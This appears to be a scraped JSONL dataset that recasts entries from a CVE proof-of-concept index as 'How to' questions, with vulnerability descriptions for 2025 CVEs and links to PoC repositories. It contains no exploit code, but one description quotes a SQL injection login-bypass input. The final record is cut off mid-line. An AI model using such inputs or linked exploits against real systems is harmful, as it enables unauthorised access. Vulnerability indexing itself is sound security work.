{"id": "gh_2a88720cb4a5", "question": "How to: CVE-2025-25747 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross Site Scripting vulnerability in DigitalDruid HotelDruid v.3.0.7 allows an attacker to execute arbitrary code and obtain sensitive information via the ripristina_backup parameter in the crea_backup.php endpoint\n```\n- [huyvo2910/CVE-2025-25747-HotelDruid-3-0-7-Reflected-XSS](https://github.com/huyvo2910/CVE-2025-25747-HotelDruid-3-0-7-Reflected-XSS)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154919"}
{"id": "gh_e7f2ac25a828", "question": "How to: CVE-2025-25748 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA CSRF vulnerability in the gestione_utenti.php endpoint of HotelDruid 3.0.7 allows attackers to perform unauthorized actions (e.g., modifying user passwords) on behalf of authenticated users by exploiting the lack of origin or referrer validation and the absence of CSRF tokens. NOTE: this is disputed because there is an id_sessione CSRF token.\n```\n- [huyvo2910/CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7](https://github.com/huyvo2910/CVE-2525-25748-Cross-Site-Request-Forgery-CSRF-Vulnerability-in-HotelDruid-3.0.7)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154924"}
{"id": "gh_6b1993545e2f", "question": "How to: CVE-2025-25749 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in HotelDruid version 3.0.7 and earlier allows users to set weak passwords due to the lack of enforcement of password strength policies.\n```\n- [huyvo2910/CVE-2025-25749-Weak-Password-Policy-in-HotelDruid-3.0.7](https://github.com/huyvo2910/CVE-2025-25749-Weak-Password-Policy-in-HotelDruid-3.0.7)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154928"}
{"id": "gh_3144895cc794", "question": "How to: CVE-2025-25763 (2025-03-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ncrmeb CRMEB-KY v5.4.0 and before has a SQL Injection vulnerability at getRead() in /system/SystemDatabackupServices.php\n```\n- [Oyst3r1ng/CVE-2025-25763](https://github.com/Oyst3r1ng/CVE-2025-25763)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154934"}
{"id": "gh_68c10b9f52a2", "question": "How to: CVE-2025-25964", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Sudo-Sakib/CVE-2025-25964](https://github.com/Sudo-Sakib/CVE-2025-25964)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154938"}
{"id": "gh_c651629dd669", "question": "How to: CVE-2025-25965", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Sudo-Sakib/CVE-2025-25965](https://github.com/Sudo-Sakib/CVE-2025-25965)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154942"}
{"id": "gh_5c004df942c9", "question": "How to: CVE-2025-25967 (2025-03-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAcora CMS version 10.1.1 is vulnerable to Cross-Site Request Forgery (CSRF). This flaw enables attackers to trick authenticated users into performing unauthorized actions, such as account deletion or user creation, by embedding malicious requests in external content. The lack of CSRF protections allows exploitation via crafted requests.\n```\n- [padayali-JD/CVE-2025-25967](https://github.com/padayali-JD/CVE-2025-25967)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154948"}
{"id": "gh_f4ee1c41fb44", "question": "How to: CVE-2025-25968 (2025-02-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDDSN Interactive cm3 Acora CMS version 10.1.1 contains an improper access control vulnerability. An editor-privileged user can access sensitive information, such as system administrator credentials, by force browsing the endpoint and exploiting the 'file' parameter. By referencing specific files (e.g., cm3.xml), attackers can bypass access controls, leading to account takeover and potential privilege escalation.\n```\n- [padayali-JD/CVE-2025-25968](https://github.com/padayali-JD/CVE-2025-25968)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154953"}
{"id": "gh_820f962a189a", "question": "How to: CVE-2025-26014 (2025-02-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Remote Code Execution (RCE) vulnerability in Loggrove v.1.0 allows a remote attacker to execute arbitrary code via the path parameter.\n```\n- [vigilante-1337/CVE-2025-26014](https://github.com/vigilante-1337/CVE-2025-26014)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154957"}
{"id": "gh_aee92b36398a", "question": "How to: CVE-2025-26054 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInfinxt iEdge 100 2.1.32 is vulnerable to Cross Site Scripting (XSS) via the \"Description\" field during LAN configuration.\n```\n- [rohan-pt/CVE-2025-26054](https://github.com/rohan-pt/CVE-2025-26054)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154961"}
{"id": "gh_ac8b6056d881", "question": "How to: CVE-2025-26055 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn OS Command Injection vulnerability exists in the Infinxt iEdge 100 2.1.32 Troubleshoot module, specifically in the tracertVal parameter of the Tracert function.\n```\n- [rohan-pt/CVE-2025-26055](https://github.com/rohan-pt/CVE-2025-26055)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154965"}
{"id": "gh_9a8445e7865c", "question": "How to: CVE-2025-26056 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA command injection vulnerability exists in the Infinxt iEdge 100 2.1.32 in the Troubleshoot module \"MTR\" functionality. The vulnerability is due to improper validation of user-supplied input in the mtrIp parameter. An attacker can exploit this flaw to execute arbitrary operating system commands on the underlying system with the same privileges as the web application process.\n```\n- [rohan-pt/CVE-2025-26056](https://github.com/rohan-pt/CVE-2025-26056)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154970"}
{"id": "gh_cabde44ab5d6", "question": "How to: CVE-2025-26125 (2025-03-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn exposed ioctl in the IMFForceDelete driver of IObit Malware Fighter v12.1.0 allows attackers to arbitrarily delete files and escalate privileges.\n```\n- [ZeroMemoryEx/CVE-2025-26125](https://github.com/ZeroMemoryEx/CVE-2025-26125)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154974"}
{"id": "gh_dd963ade677c", "question": "How to: CVE-2025-26159 (2025-04-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLaravel Starter 11.11.0 is vulnerable to Cross Site Scripting (XSS) in the tags feature. Any user with the ability of create or modify tags can inject malicious JavaScript code in the name field.\n```\n- [godBADTRY/CVE-2025-26159](https://github.com/godBADTRY/CVE-2025-26159)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154978"}
{"id": "gh_9c2fd187e5a6", "question": "How to: CVE-2025-26198 (2025-06-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCloudClassroom-PHP-Project v1.0 contains a critical SQL Injection vulnerability in the loginlinkadmin.php component. The application fails to sanitize user-supplied input in the admin login form before directly including it in SQL queries. This allows unauthenticated attackers to inject arbitrary SQL payloads and bypass authentication, gaining unauthorized administrative access. The vulnerability is triggered when an attacker supplies specially crafted input in the username field, such as ' OR '1'='1, leading to complete compromise of the login mechanism and potential exposure of sensitive backend data.\n```\n- [tansique-17/CVE-2025-26198](https://github.com/tansique-17/CVE-2025-26198)\n- [WailYacoubi9/CVE-2025-26198](https://github.com/WailYacoubi9/CVE-2025-26198)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154983"}
{"id": "gh_3c6a365efd95", "question": "How to: CVE-2025-26199 (2025-06-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCloudClassroom-PHP-Project v1.0 is affected by an insecure credential transmission vulnerability. The application transmits passwords over unencrypted HTTP during the login process, exposing sensitive credentials to potential interception by network-based attackers. A remote attacker with access to the same network (e.g., public Wi-Fi or compromised router) can capture login credentials via Man-in-the-Middle (MitM) techniques. If the attacker subsequently uses the credentials to log in and exploit administrative functions (e.g., file upload), this may lead to remote code execution depending on the environment.\n```\n- [tansique-17/CVE-2025-26199](https://github.com/tansique-17/CVE-2025-26199)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154988"}
{"id": "gh_fe1f68542c54", "question": "How to: CVE-2025-26206 (2025-03-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross Site Request Forgery vulnerability in sell done storefront v.1.0 allows a remote attacker to escalate privileges via the index.html component\n```\n- [xibhi/CVE-2025-26206](https://github.com/xibhi/CVE-2025-26206)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154997"}
{"id": "gh_aee5b18a7c7d", "question": "How to: CVE-2025-26240", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Habuon/CVE-2025-26240](https://github.com/Habuon/CVE-2025-26240)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155001"}
{"id": "gh_7021da6e0146", "question": "How to: CVE-2025-26244", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [JaRm222/CVE-2025-26244](https://github.com/JaRm222/CVE-2025-26244)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155004"}
{"id": "gh_4038b40393e4", "question": "How to: CVE-2025-26263 (2025-02-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGeoVision ASManager Windows desktop application with the version 6.1.2.0 or less (fixed in 6.2.0), is vulnerable to credentials disclosure due to improper memory handling in the ASManagerService.exe process.\n```\n- [DRAGOWN/CVE-2025-26263](https://github.com/DRAGOWN/CVE-2025-26263)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155011"}
{"id": "gh_a22c7ab6f0ef", "question": "How to: CVE-2025-26264 (2025-02-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGeoVision GV-ASWeb with the version 6.1.2.0 or less (fixed in 6.2.0), contains a Remote Code Execution (RCE) vulnerability within its Notification Settings feature. An authenticated attacker with \"System Settings\" privileges in ASWeb can exploit this flaw to execute arbitrary commands on the server, leading to a full system compromise.\n```\n- [DRAGOWN/CVE-2025-26264](https://github.com/DRAGOWN/CVE-2025-26264)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155015"}
{"id": "gh_1e0316fb5323", "question": "How to: CVE-2025-26318 (2025-03-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nhb.exe in TSplus Remote Access before 17.30 2024-10-30 allows remote attackers to retrieve a list of all domain accounts currently connected to the application.\n```\n- [Frozenka/CVE-2025-26318](https://github.com/Frozenka/CVE-2025-26318)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155019"}
{"id": "gh_5673ddb42436", "question": "How to: CVE-2025-26319 (2025-03-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nFlowiseAI Flowise v2.2.6 was discovered to contain an arbitrary file upload vulnerability in /api/v1/attachments.\n```\n- [dorattias/CVE-2025-26319](https://github.com/dorattias/CVE-2025-26319)\n- [redpack-kr/CVE-2025-26319](https://github.com/redpack-kr/CVE-2025-26319)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155026"}
{"id": "gh_d0c389e86cdc", "question": "How to: CVE-2025-26326 (2025-02-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability was identified in the NVDA Remote (version 2.6.4) and Tele NVDA Remote (version 2025.3.3) remote connection add-ons, which allows an attacker to obtain total control of the remote system by guessing a weak password. The problem occurs because these add-ons accept any password entered by the user and do not have an additional authentication or computer verification mechanism. Tests indicate that more than 1,000 systems use easy-to-guess passwords, many with less than 4 to 6 characters, including common sequences. This allows brute force attacks or trial-and-error attempts by malicious invaders. The vulnerability can be exploited by a remote attacker who knows or can guess the password used in the connection. As a result, the attacker gains complete access to the affected system and can execute commands, modify files, and compromise user security.\n```\n- [azurejoga/CVE-2025-26326](https://github.com/azurejoga/CVE-2025-26326)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155033"}
{"id": "gh_2e781c1fc3fb", "question": "How to: CVE-2025-26399 (2025-09-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSolarWinds Web Help Desk was found to be susceptible to an unauthenticated AjaxProxy deserialization remote code execution vulnerability that, if exploited, would allow an attacker to run commands on the host machine. This vulnerability is a patch bypass of CVE-2024-28988, which in turn is a patch bypass of CVE-2024-28986.\n```\n- [rxerium/CVE-2025-26399](https://github.com/rxerium/CVE-2025-26399)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155038"}
{"id": "gh_fcae44c12aa8", "question": "How to: CVE-2025-26417 (2025-08-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn checkWhetherCallingAppHasAccess of DownloadProvider.java, there is a possible bypass of user consent when opening files in shared storage due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.\n```\n- [uthrasri/CVE-2025-26417](https://github.com/uthrasri/CVE-2025-26417)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155044"}
{"id": "gh_3bbf3cd45126", "question": "How to: CVE-2025-26443 (2025-09-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn parseHtml of HtmlToSpannedParser.java, there is a possible way to install apps without allowing installation from unknown sources due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.\n```\n- [Pazhanivelmani/ManagedProvisioning-A10_r33_CVE-2025-26443](https://github.com/Pazhanivelmani/ManagedProvisioning-A10_r33_CVE-2025-26443)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155049"}
{"id": "gh_97891c9588ca", "question": "How to: CVE-2025-26465 (2025-02-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.\n```\n- [rxerium/CVE-2025-26465](https://github.com/rxerium/CVE-2025-26465)\n- [dolutech/patch-manual-CVE-2025-26465-e-CVE-2025-26466](https://github.com/dolutech/patch-manual-CVE-2025-26465-e-CVE-2025-26466)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155054"}
{"id": "gh_759590212b1f", "question": "How to: CVE-2025-26466 (2025-02-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA flaw was found in the OpenSSH package. For each ping packet the SSH server receives, a pong packet is allocated in a memory buffer and stored in a queue of packages. It is only freed when the server/client key exchange has finished. A malicious client may keep sending such packages, leading to an uncontrolled increase in memory consumption on the server side. Consequently, the server may become unavailable, resulting in a denial of service attack.\n```\n- [rxerium/CVE-2025-26466](https://github.com/rxerium/CVE-2025-26466)\n- [mrowkoob/CVE-2025-26466-msf](https://github.com/mrowkoob/CVE-2025-26466-msf)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155058"}
{"id": "gh_8323b2d5b309", "question": "How to: CVE-2025-26529 (2025-02-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDescription information displayed in the site administration live log \\nrequired additional sanitizing to prevent a stored XSS risk.\n```\n- [Astroo18/PoC-CVE-2025-26529](https://github.com/Astroo18/PoC-CVE-2025-26529)\n- [hxuu/moodle-cve](https://github.com/hxuu/moodle-cve)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155063"}
{"id": "gh_73c02e0a7aa4", "question": "How to: CVE-2025-26633 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper neutralization in Microsoft Management Console allows an unauthorized attacker to bypass a security feature locally.\n```\n- [sandsoncosta/CVE-2025-26633](https://github.com/sandsoncosta/CVE-2025-26633)\n- [mbanyamer/MSC-EvilTwin-Local-Privilege-Escalation](https://github.com/mbanyamer/MSC-EvilTwin-Local-Privilege-Escalation)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155067"}
{"id": "gh_7e3f1a4d0f9b", "question": "How to: CVE-2025-26686 (2025-04-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSensitive data storage in improperly locked memory in Windows TCP/IP allows an unauthorized attacker to execute code over a network.\n```\n- [mrk336/CVE-2025-26686-The-TCP-IP-Flaw-That-Opens-the-Gates](https://github.com/mrk336/CVE-2025-26686-The-TCP-IP-Flaw-That-Opens-the-Gates)\n- [alifaraj5723/CVE-2025-26686-poc](https://github.com/alifaraj5723/CVE-2025-26686-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155072"}
{"id": "gh_2605abc73903", "question": "How to: CVE-2025-26788 (2025-02-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nStrongKey FIDO Server before 4.15.1 treats a non-discoverable (namedcredential) flow as a discoverable transaction.\n```\n- [EQSTLab/CVE-2025-26788](https://github.com/EQSTLab/CVE-2025-26788)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155076"}
{"id": "gh_47a9ccac2e7b", "question": "How to: CVE-2025-26794 (2025-02-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExim 4.98 before 4.98.1, when SQLite hints and ETRN serialization are used, allows remote SQL injection. (Resolving SQL injection requires an update to 4.99.1 in certain non-default rate-limit configurations.)\n```\n- [OscarBataille/CVE-2025-26794](https://github.com/OscarBataille/CVE-2025-26794)\n- [ishwardeepp/CVE-2025-26794-Exim-Mail-SQLi](https://github.com/ishwardeepp/CVE-2025-26794-Exim-Mail-SQLi)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155080"}
{"id": "gh_9bed4146b067", "question": "How to: CVE-2025-26865 (2025-03-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\\n\\nThis issue affects Apache OFBiz: from 18.12.17 before 18.12.18.  \\n\\nIt's a regression between 18.12.17 and 18.12.18.\\nIn case you use something like that, which is not recommended!\\nFor security, only official releases should be used.\\n\\nIn other words, if you use 18.12.17 you are still safe.\\nThe version 18.12.17 is not a affected.\\nBut something between 18.12.17 and 18.12.18 is.\\n\\nIn that case, users are recommended to upgrade to version 18.12.18, which fixes the issue.\n```\n- [mbadanoiu/CVE-2025-26865](https://github.com/mbadanoiu/CVE-2025-26865)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155085"}
{"id": "gh_3391d22ef873", "question": "How to: CVE-2025-26892 (2025-05-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in dkszone Celestial Aura allows Using Malicious Files.This issue affects Celestial Aura: from n/a through 2.2.\n```\n- [Nxploited/CVE-2025-26892](https://github.com/Nxploited/CVE-2025-26892)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155089"}
{"id": "gh_ad017bbc5d5d", "question": "How to: CVE-2025-27007 (2025-05-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers: from n/a through 1.0.82.\n```\n- [absholi7ly/CVE-2025-27007-OttoKit-exploit](https://github.com/absholi7ly/CVE-2025-27007-OttoKit-exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155094"}
{"id": "gh_ba36bf04aad4", "question": "How to: CVE-2025-27152 (2025-03-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\naxios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.\n```\n- [andreglock/axios-ssrf](https://github.com/andreglock/axios-ssrf)\n- [davidblakecoe/axios-CVE-2025-27152-PoC](https://github.com/davidblakecoe/axios-CVE-2025-27152-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155100"}
{"id": "gh_cb26f75f5eba", "question": "How to: CVE-2025-27210 (2025-07-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn incomplete fix has been identified for CVE-2025-23084 in Node.js, specifically affecting Windows device names like CON, PRN, and AUX. \\r\\n\\r\\nThis vulnerability affects Windows users of `path.join` API.\n```\n- [absholi7ly/CVE-2025-27210_NodeJS_Path_Traversal_Exploit](https://github.com/absholi7ly/CVE-2025-27210_NodeJS_Path_Traversal_Exploit)\n- [Ashwesker/Ashwesker-CVE-2025-27210](https://github.com/Ashwesker/Ashwesker-CVE-2025-27210)\n- [mindeddu/Vulnerable-CVE-2025-27210](https://github.com/mindeddu/Vulnerable-CVE-2025-27210)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155105"}
{"id": "gh_6e2940383aea", "question": "How to: CVE-2025-27363 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn out of bounds write exists in FreeType versions 2.13.0 and below (newer versions of FreeType are not vulnerable) when attempting to parse font subglyph structures related to TrueType GX and variable font files. The vulnerable code assigns a signed short value to an unsigned long and then adds a static value causing it to wrap around and allocate too small of a heap buffer. The code then writes up to 6 signed long integers out of bounds relative to this buffer. This may result in arbitrary code execution. This vulnerability may have been exploited in the wild.\n```\n- [zhuowei/CVE-2025-27363-proof-of-concept](https://github.com/zhuowei/CVE-2025-27363-proof-of-concept)\n- [ov3rf1ow/CVE-2025-27363](https://github.com/ov3rf1ow/CVE-2025-27363)\n- [tin-z/CVE-2025-27363](https://github.com/tin-z/CVE-2025-27363)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": 